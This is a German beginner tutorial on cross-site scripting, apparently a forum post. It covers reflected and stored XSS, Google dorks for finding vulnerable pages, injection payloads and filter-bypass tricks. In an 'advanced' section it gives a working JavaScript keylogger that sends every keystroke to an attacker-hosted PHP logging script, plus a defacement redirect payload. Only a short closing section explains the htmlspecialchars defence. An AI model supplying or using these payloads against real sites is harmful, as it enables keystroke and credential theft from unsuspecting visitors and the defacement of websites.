XSS Tutorial by Iron
Bemerkung: Ich weiß die Formatierung sieht bisschen bedürftig aus, aber ich hab es einfach so von UC wie ich es erstellt habe übernommen und hier eingefügt, deswegen ist die Formatierung hier bisschen schlechter.
Dies hier ist mein Tutorial, indem ich euch zeigen möchte was XSS ist und wie diese Lücke funktioniert. Dieses Tutorial ist für komplette Anfänger geschrieben, deshalb nicht großes erwarten mich würde trotzdem freuen, wenn Fortgeschrittene in dem Thema dieses Tutorial lesen und Feedback und Kritik abgeben.
Was ist XSS?
XSS ist eine Abkürzung und steht für "Cross Site Scripting". Mit XSS Lücken könnt ihr HTML/Javascript in den Seiten-Quellcode injezieren dies kann durch den GET, aber auch durch den POST Parameter geschehen. Mit paar Tricks kann man auch PHP usw. injezieren ich beziehe mich in dem Tutorial nur auf HTML/Javascript. Diese Lücken entstehen übrigens, wenn der Programmierer die Variablen beim Übergeben nicht ausreichen gefiltert hat ich werde euch am Ende des Tutorials zeigen wie man diese Lücken schliesst.
Was ist HTML und Javascript?
Tutorials:
Typen von XSS Angriffen
Es gibt zwei Typen von XSS Angriffen die wären
[1] Reflected XSS
Diese Lücken sind XSS Lücken die nicht dauerhaft auf einer Seite gespeichert sind. Das heißt, wenn ihr z. B durch die Suchfunktion die Lücke gefunden habt, dann müsst ihr diese Lücke um z. B das Admin Cookie zu klauen den Admin diesen Link schicken der diesen Link wiederrum anklicken muss.
[2] Stored XSS
Disee Lücken sind XSS Lücken die dauerhaft auf einer Seite gespeichert sind. Das bedeutet, wenn ihr z. B in dem Gästebuch eine XSS findet führt jeder das böse Skript der XSS Lücke aus. Wenn ihr z. B das Admin Cookie klauen wollt und der Admin auf dem Gästebuch vorbei kommt könnt ihr das Cookie via XSS klauen mehr dazu weiter im Text.
Wie finde ich solche Lücken?
Es gibt hier wieder, auch 2 Arten, indem du solche Lücken finden kannst. Als erstes solltest du dich auf die Seite Google begeben und einer der folgenden Dorks suchen.
inurl:search.php? inurl:find.php? inurl:index.php?search= inurl:index.php?find= inurl:comment.php?text=
Es gibt natürlich noch sehr viele andere Dorks, aber ich möchte hier nicht weiter drauf eingehen.
Jetzt habt ihr 2 Möglichkeiten
1. Ihr sucht die Lücken manuell
2. Ihr sucht die Lücken mit Vuln-Scanner
Vuln-Scanner die ich kenne
Acunetix Nessus
Da ich es interessanter finde die Lücken selber zu suchen werde ich hier auf Vuln-Scanner nicht weiter eingehen . Diese Scanner ersparen euch, aber meist enorm viel Zeit da sie automatisch jede Datei der Seite scannen, aber bevor ihr solche Tools zu benutzten lernt sollte ihr das ganze finde ich, auch manuell lernen.
Exploiten
GET Method - XSS
Wie ich vorher erwähnt habe können XSS Lücken durch den Parameter GET und POST Parameter entstehen. GET bedeutet einfach das die Variable die übergeben wird über die URL (Uniform-Resource-Locater) übergeben wird.
POST Method - XSS
Bei dem Parameter POST werden die Variablen über den Inhalt der Seite z. B eine Suchfunktion, Gästebuch usw. übergeben.
Wir versuchen nun über einer der beiden Methoden jetzt unseren eigenen Code zu injezieren.
Ich werde das ganze an dem Hackit von gehaxelt vorführen
Level1:
Dieses Hackit gibt uns den Tipps wir müssen die Lücke in der URL ausnutzen bzw. wird die Variable über den Parameter GET übergeben.
URL(Momentan):
[center]http://hackit.gehaxelt.in/xss/level1.php[/center]
Fügen wir noch den Parameter "name" hinzu:
[center]http://hackit.gehaxelt.in/xss/level1.php?name=[/center]
Wenn wir hinter den Parameter "name" jetzt einen Namen hinzufügen bsp. Iron und das ganze absenden erhalten wir die Ausgabe "Hallo Iron". Wenn der Programmierer das ganze jetzt nicht ausreichen gefiltert hat können wir hier jetzt HTML Tags mit Javascript-Code einfügen
[center]http://hackit.gehaxelt.in/xss/level1.php?name=<script>alert("XSS")</script>
Nun sollte folgendes erscheinen.
So sieht eine einfache XSS in der Praxis aus jetzt gibt es, aber Leute die versuchen sich besser zu schützten. Diese Filter kann man gewöhnlich, auch umgehen es kommt immer darauf an wie gut der Filter ist was dieser Filter alles für Zeichen filtert usw.
Bisschen Theorie
Nun jetzt schaut euch mal den Source-Code an.
Bei mir:
Wie ihr sehen könnt sieht man die Ausgabe "Hallo" geben wir jetzt unseren Code ein wird dieser mit in den Tag '<span>// unser code </span>' eingebunden.
Bei den meisten Seiten sind verschiedene Filter mit dabei und man kann die Seite nicht wie oben exploiten. Manchmal werden die Werte in einem Attribut des HTML-Tags gespeichert wie dies funktioniert können wir uns an dem Hackit von Padrino anschauen auf Level2!
Hackit:
Bei diesem Hackit wird die Variable über die Methode POST übergeben, also diesmal ist es ein Suchfeld Geben wir nun "Iron" ein sieht der Quellcode wie folgt aus.
Geben wir nun jetzt irgendein Skript ein würde das ganze nur als Value des Attributs von dem HTML Tag erkannt werden. Hierzu schliessen wir das Attribut dies sollte wie folgt aussehen.
[center]Iron"><script>alert("XSS")</script>[/center]
Ihr seht die Value ist Iron das Attribut wird abgeschlossen und der HTML Tag geschlossen nun sollte der Javascript-Code ausgeführt werden. Source Code jetzt nach XSS Lücke.
Ihr könnt, also sehen es können nicht nur Attribute von HTML-Tags geschlossen werden, sondern auch HTML-Tags selber.
Filter bypassen
ASCII bypassing
HEX bypassing
Event-Handler
Case-Sensitive
[ASCII bypassing]
Wenn z. B jede Anführungszeichen davor einen Backslash("") bekommen, dann wird versucht Anführungszeichen zu filtern dies hindert uns, aber jedoch nicht weiter zu machen.
Wir benutzen einfach eine Funktion die uns Javascript bereitstellt nämlich "String.fromCharCode()" Diese Funktion erlaubt es uns unseren String in ASCII Zahlen zu schreiben.
Beispiel:
[center]<script>alert(String.fromCharCode(88, 83, 83))</script>[/center]
Dies gibt die Meldung "XSS" aus ich empfehle euch eine ASCII Tabelle und, oder HackBar(AddOn Firefox) Zum Schluss gebe ich euch die Links.
[HEX bypassing]
Hier werden wir unseren Javascript-Code in Hex encoden hier empfehle ich wieder HackBar Code sollte dann wie folgt aussehen
Decoded: <script>alert("XSS")</script> Encoded: %3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%22%58%53%53%22%29%3C%2F%73%63%72%69%70%74%3E
Nun sollte bei einigen das ganze bypassed sein.
[Event-Handler]
Bei Event-Handler ist der Vorteil das wir keine Zeichen wie "<" ">" "/" brauchen um Javascript-Code zu injezieren. Es gibt verschiedene Events
Liste:
onload() ondrag() onclick() onerror() onfinish() onfocus() onkeydown() onkeypress() onkeyup() onmouseover() onmove()
Wir können nun die Events injezieren, indem wir unseren Code so um ändern
onmouseover="alert(String.fromCharCode(88, 83, 83))"
Wir müssen jetzt nur noch über das Objekt mit der Maus rüber gehen und schon wird der Code ausgeführt. Es eine Liste mit weiteren Event-Handlern ist unten in den weiterführenden Links
[Case-Sensitive bypassing]
Diesen filter zu bypassen ist ganz einfach manche Programmierer suchen nach bestimmten Wörter z. B "script", wenn diese dann injeziert werden, werden sie ersetzt. Da manche Programmierer dies nicht richtig filtern kann man versuchen "script" auch so zu schreiben z. B "sCrIpT" usw. einfach die Groß-kleinschreibung bisschen abändern.
Fortgeschrittene Themen
Keylogger per XSS
Ich hafte für nichts und distanziere mich von jeglichen Schaden der durch dieses Tutorial entsteht
Ich möchte euch in diesem kleinen Tutorial zeigen wie man einen Benutzer per XSS keyloggen kann. Falls ihr euch noch nicht richtig mit XSS beschäftigt habt empfehle ich euch erst andere Tutorials zu lesen.
Vorbereitungen
Wir brauchen einen Web-Hoster diesen Hoster brauchen wir um 2 Skripte hochzuladen ein PHP & Javascript und einen FTP-Client. Das Javascript Skript zum keyloggen und das PHP Skript zum speichern des Logs. Gibt allen Files die permission 777 für die Schreibrechte.
Javascript-Skript
document.onkeypress = function(evt) { evt = evt || window.event; key = String.fromCharCode(evt.charCode); if (key) { var http = new XMLHttpRequest(); var param = encodeURI(key); http.open("POST", "WEBHOSTER+PHPSKRIPT"); http.setRequestHeader("Content-type", application/x-www-form-urlencoded"); http.send("key="+param); } }In Zeile 7 muss die URL angegeben werden wo ihr euer PHP-Skript hochgeladen habt.
PHP-Skript
<?php $key = $_POST["key"]; $logfile = "log.txt"; $fp = fopen($logfile, "a"); fwrite($fp, $key); fclose($fp); ?>
Fast fertig
Jetzt modifiziert ihr eure URL
www.beispielSeiteMitXSSLücke.de/index.php?search=<script src="URL_DER_Javascript_DATEI"></script>
Die Logs sind nur auf dem Formular mit der XSS-Lücke. Alle Tastenanschläge werden in der "logs.txt" auf dem Web-Hoster gespeichert.
MFG Iron
---------------------------------------------------------------------------------------------
Quellen: http://www.toolbase....__hl__keylogger
Javascript-Keylogger
Defacing per XSS
Um ein Deface durch XSS durchzuführen müsst ihr eine Stored XSS finden und dann von der Seite auf euer Deface umleiten.
<script>window.location="http://www.euerDeface.com/deface"</script>
XSS Schutz
In diesem Teil möchte ich euch erklären wie man sich gegen XSS wehren kann. Wie ich oben schon gesagt habe entstehen solche Lücken, wenn man die Variablen die übergeben werden sei es GET, oder POST nicht richtig filtert. Es gibt eine kleine Funktion in PHP[Ab Version 4] die es ermöglich diese Lücke zu schliessen diese nennt sich "htmlspecialchars()" Diese Funktion filtert alle Eingabe wie ", /, &, <, >, ; usw. das heißt es gibt keine Möglichkeit mehr XSS auszuführen. Wie das ganze in PHP aussehen sollte
$vorname = $_GET['name']; // hier wird gefiltert $vorname = htmlspecialchars($vorname); echo "Hallo " . $vorname;
Wer mehr über die Funktion erfahren möchte:
---------------------------------------------------------------------
Weiterführende Links:
ASCII-Tabelle:
HackBar:
XSS Filter: